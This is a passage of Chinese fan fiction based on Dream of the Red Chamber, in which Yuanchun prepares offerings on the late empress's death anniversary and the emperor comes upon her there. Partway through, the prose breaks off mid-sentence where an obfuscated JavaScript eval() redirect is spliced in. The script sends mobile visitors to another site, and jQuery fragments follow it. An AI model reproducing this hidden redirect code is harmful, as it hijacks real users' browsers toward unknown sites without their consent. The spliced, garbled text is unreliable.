抱琴走过来,试了一下元春的额头。
并不觉得热呀。
她好奇地道:“也没生病,好端端地,姑娘怎么连日子也忘了。这自然是二月。喏,今年春寒好厉害,虽然是二月,外头可还冷得紧呢。”
元春在心中思忖。
二月初七,二月初七,如今离二月十二不过就只有几日光景了。
自己要不要去搏这一次?
抱琴叫元春这几句话问得大为奇怪,又看她不说话、只管出神,心里便有些担心。
她与元春从小一起长大,又从贾家跟着元春进宫,情分自然不比寻常。
抱琴小心翼翼地问道:“姑娘,姑娘?”
元春无意识搭在炕几上的手骤然攥成拳,仿佛下定了某种决心。
元春轻轻呼出一口气,正色道:“抱琴,你听好……”
世人都说天家无情,而皇室的婚姻更是利益权势之下的精心权衡,难得寄有一分真心。
是以自古以来任是谁也数不清这座四四方方的后宫锁住了多少女子一生的怨怼。
其中又禁锢着多少含恨的冤魂。
一入宫门深似海,多少文人墨客的同情怜悯之心都由此激发。
但是本朝帝后,或者说本朝皇帝与其先皇后,这一对皇室爱侣却是其中难得的例外。
先皇后是当朝大将军华家的长女,也是太后娘娘的亲侄女儿,名唤华婉溶。
她品貌俱佳,性子柔和,素有贤名。
太后极钟爱她,在她小时就常将她接到宫中相伴、教导。
婉溶因而与当时还是六皇子的当今的圣上延嘉帝少年相识。
华婉溶比六皇子明翕小三岁,两人年貌登对,堪称青梅竹马,羡煞旁人。
两个孩子感情好,太后自然喜欢。
在明翕登基为帝的第二年,太后便顺水推舟为两人赐婚,皇宫正门大开迎华婉溶为后,真正是亲上加亲。
帝后自大婚后,日日恩爱和睦,相敬如宾。
皇上勤政爱民,宵衣旰食,一力蠲除宿弊;
皇后端慧娴静,德御六宫,倡领俭省节约。
两人乃是前朝后宫的典范佳话。
先皇后共生两子一女,皆是聪明伶俐。
只是好景不长,鸳鸯天妒。两个小皇子先后夭折,皇后心痛不已,却顾全大局,虽然勉力撑持,但终于难承伤痛,骤病而故。
唯一留下的一个女儿也在先皇后故去的第二年因病夭折。
帝后恩爱一场,最后只剩延嘉帝一人在这世上,竟是落得连个念想也无。
这世间虽然看似是皇帝最大,但却也是最不自由的。
延嘉帝的一言一行都要受百官审视、万民瞩目,更何况后宫还有一位庄重又严厉的太后娘娘耳提面命,少有可以放任纵情的时候。
为了避免奢靡过费、劳动人力,自皇后的丧礼毕,往后每年的忌日都不再大办,只叫阖宫上下斋戒一日,其余祭礼一概免了,只由延嘉帝独自一人去皇后生前所居的宫殿凭吊。
二月十二日正是先皇后的忌日,而今年更是她的整十年忌。
延嘉帝今年三十有六,正值盛年,丰神俊朗,他换了一身常服,叫一干随侍人等都在外头候着,只要一个贴身的心腹太监小庆子跟着自己慢慢地走进凤仪宫。
这所宫殿自从先皇后故去之后便空置下来,不曾再迎来新主人。
皇帝少有地违逆了太后的意思,执意不肯再册立新后。
他将皇后之位同这座华丽的宫殿一起空置下来。
斯人虽已逝,这凤仪宫里却每日皆有宫人细心洒扫,一应布置均按先皇后喜好不曾改换。
寝殿正堂中间挂了一副先皇后朝服坐像,面前焚着先皇后最爱的熏香,供着皇后的金印、册、宝。
也许是感念皇帝的痴心,一向严厉的太后竟也不再坚持,只是也不能坐视皇帝如此消沉下去,便将自己的另一个侄女儿,也就是先皇后的亲妹妹华婉湄召进宫来。
婉溶和婉湄这亲姊妹两个虽然年纪差了足有九岁,性子也不同,两人的容貌神态却生得有六七分相似,远远望去,仿佛故人之姿,令人颇有恍惚之感,倒也可慰藉一二。
果然,延嘉帝一见婉湄便流下泪来,立即封她做了淑妃,又令她协助太后执掌六宫事。
延嘉帝虽未许她皇后之位,但入宫即封妃,却也是本朝罕有的荣宠了。
足见华家姐妹在皇帝心中的分量。
延嘉帝走得极慢,小庆子垂着头默默跟着。
万岁主子每一次来凤仪宫都是这样,全不似在前朝指点江山风云时的气势果断,反而每一步都走得又轻、又慢、又犹豫。
似乎他走慢些、再走慢些,等推开寝殿的门时,便能看到皇后如从前一般,煲好一瓮泉水正等着他一起泡茶。
记忆中那个温煦的笑容,已经越来越模糊了。
小庆子是皇后去世后才分到中乾殿伺候皇帝的,没见过先皇后。
他牢牢地盯住自己的鞋尖儿,心里想着,能让万岁主子这般小心翼翼、念念不忘,这位先皇后主子真不知是什么样的神仙人物,可惜没福气见一见。
小庆子是六宫都太监夏守忠一手选拔训练出来给延嘉帝使用的,十分伶俐。
他虽是将头埋得极低,却总能将自己同延嘉帝的距离保持在一步之地。
一分不多,一分也不少。
既要随叫随应,也不能叫万岁主子膈应。
这是做太监的专业素养。
要做到这个,就需要靠眼风一时不停地判断着距离,再不露痕迹地用小碎步调整。
过程既不能急切,更不能猥琐。
小庆子十分对得住自己曾经吃过的那些板子,如今将样样差使都做得极为出色。
延嘉帝突然停步,小庆子也马上停步。
他心下好奇,这才哪到哪儿呢,才走到凤仪宫的前院,万岁爷怎么就不走了?
小庆子赶紧悄悄抬头瞄去,一望之下却大惊失色。
早知延嘉帝要来,宫人早在这殿里四处都点好了琉璃宫灯,映得这宫里通彻辉煌,有如白昼。
这般光照下,也让小庆子瞧得分明——
这本应清场的凤仪宫内,竟然还有宫女没有避出去。
而且还是两个。
小庆子倒吸一口气,迈前一步,就要过去喝斥她两人。
延嘉帝却伸手做了一个不要惊动的手势。
小庆子会意,皱着眉收回脚步,不发一言。
那两个宫女背对着他们,跪在地上不知在忙些什么。
她们像两只天真无邪的小动物,丝毫没有察觉危险已近。
延嘉帝放轻脚步,走近去看。
跪在后
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056090|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面的宫女正从手中的提盒中取着东西,余光瞧见身旁有个黑影,下意识便要惊叫。
她的声音还未出,却被小庆子眼疾手快地走上来捂住口鼻,又狠狠瞪了她一眼,不许她出声。
宫女害怕地点点头,小庆子这才放开手,带着她到一旁站着。
小庆子看着单薄,手上的力度却大,宫女脸上被他捂过的地方已经出现了几条红指头印子。
小庆子上下打量了她一眼。
这宫女不知道是在哪里伺候的,面生得很,年纪看起来也不大,吓得简直站不住,腿上一软,整个人就委顿在地,亏她就算这样也还记着自己的警告,双手紧紧捂着嘴,不敢哭出声。
小庆子十分嫌弃地瞥了她一眼。
这样小的胆子,怎么倒敢做出这么胆大包天的事。
不知是谁调教的规矩,回来查出来,师傅徒弟都该一齐发落的好。
哼,一会儿且看万岁主子怎么罚你们两个吧。
延嘉帝却无心去看这个默默哭泣发抖的小宫女,只是站在仍未察觉的那个宫女身后,默默注视着她的背影。
这个宫女仪态甚佳,虽然跪着,却仍能瞧出她生得匀称苗条、姿态高雅。
她身上的衣饰十分素净,式样也简单,形制上却与刚才那个吓坏了的宫女有些不同。
哦,这一个原来不是个宫女。
只见那女子双手合十,口唇翕动,不知在默祝些什么。
她倒不像寻常女子一样在两腕上各戴一只镯子,而是将两只玉镯子都戴在左手腕上。
每当手上有轻微的动作时,腕上的镯子便发出叩击声。
玉质清透,极是清脆好听。
那女子祝毕,又拜了三拜,顿了一顿,突然开口道:“抱琴,将点心拿给我。”
延嘉帝和小庆子同时看向地上含泪不敢出声的宫女。
小庆子心想,哦,原来这个胆大包天的宫女叫作“抱琴”。
抱琴眼里满是泪水,仍是死死捂住嘴,看看延嘉帝,又看看小庆子,却是连抽泣一声儿也不敢。
更加不敢去给另一个女子递什么点心。
延嘉帝突然弯下腰去,将刚才抱琴拿着的那个食盒打开,从中取出一碟点心。
那点心在碟中垒作方块状,色泽金黄,原来是用油煎过。
面上有洁白细碎的一层,显是还撒了糖粉,嗅之有隐约的甜香之气,竟是乳饼。
延嘉帝一怔之下,伸手便将碟子递给那女子。
女子并未回头,只是伸手接过,恭恭敬敬摆在台阶上,又合掌拜了拜。
她的动作突然一顿,定定瞧着碟子,笑道:“这乳饼我记得咱们是做了七只的,怎么这里只有六只,是不是你这丫头嘴馋偷吃了去?”
这虽然是责怪之语,但她语带戏谑,显然并无怪罪之意。
这女子自然正是贾元春。
她见抱琴不肯答话,以为她是心虚,转头笑道:“你若吃了便吃了,趁早认下,我也不会……”
话音未落,她已看清身后这两人形状,脸上的笑容顿敛,迅速将头垂下,转过身来,端端正正地跪好道:“奴婢给圣上请安,圣上康健安泰,万岁万岁万万岁。”
一旁的抱琴见主子如此,忙也膝行过来,到元春身后匍匐跪好,口称万岁。
小庆子垂着头,心思却一刻也不停运转。